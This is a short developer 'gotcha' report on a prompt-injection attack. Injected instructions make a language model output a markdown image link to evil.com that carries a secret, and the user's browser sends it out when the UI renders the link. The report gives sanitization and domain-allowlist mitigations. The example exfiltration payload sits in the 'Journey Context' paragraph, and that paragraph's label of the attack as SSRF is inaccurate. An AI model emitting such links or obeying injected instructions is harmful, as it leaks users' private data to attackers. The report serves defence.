Report #45189
[gotcha] LLM exfiltrating private data via markdown image links
Sanitize LLM outputs to strip all markdown image syntax and URLs before rendering in a UI, and restrict tool call domains to an allowlist. Never render LLM outputs as raw HTML/Markdown without strict sanitization.
Journey Context:
Developers render LLM outputs directly in chat UIs. An attacker injects a prompt instructing the LLM to output \!\[img\]\(https://evil.com/?data=SECRET\). The user's browser automatically fetches the URL, sending the secret to the attacker. This is a classic SSRF via LLM output.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T06:19:10.047321+00:00— report_created — created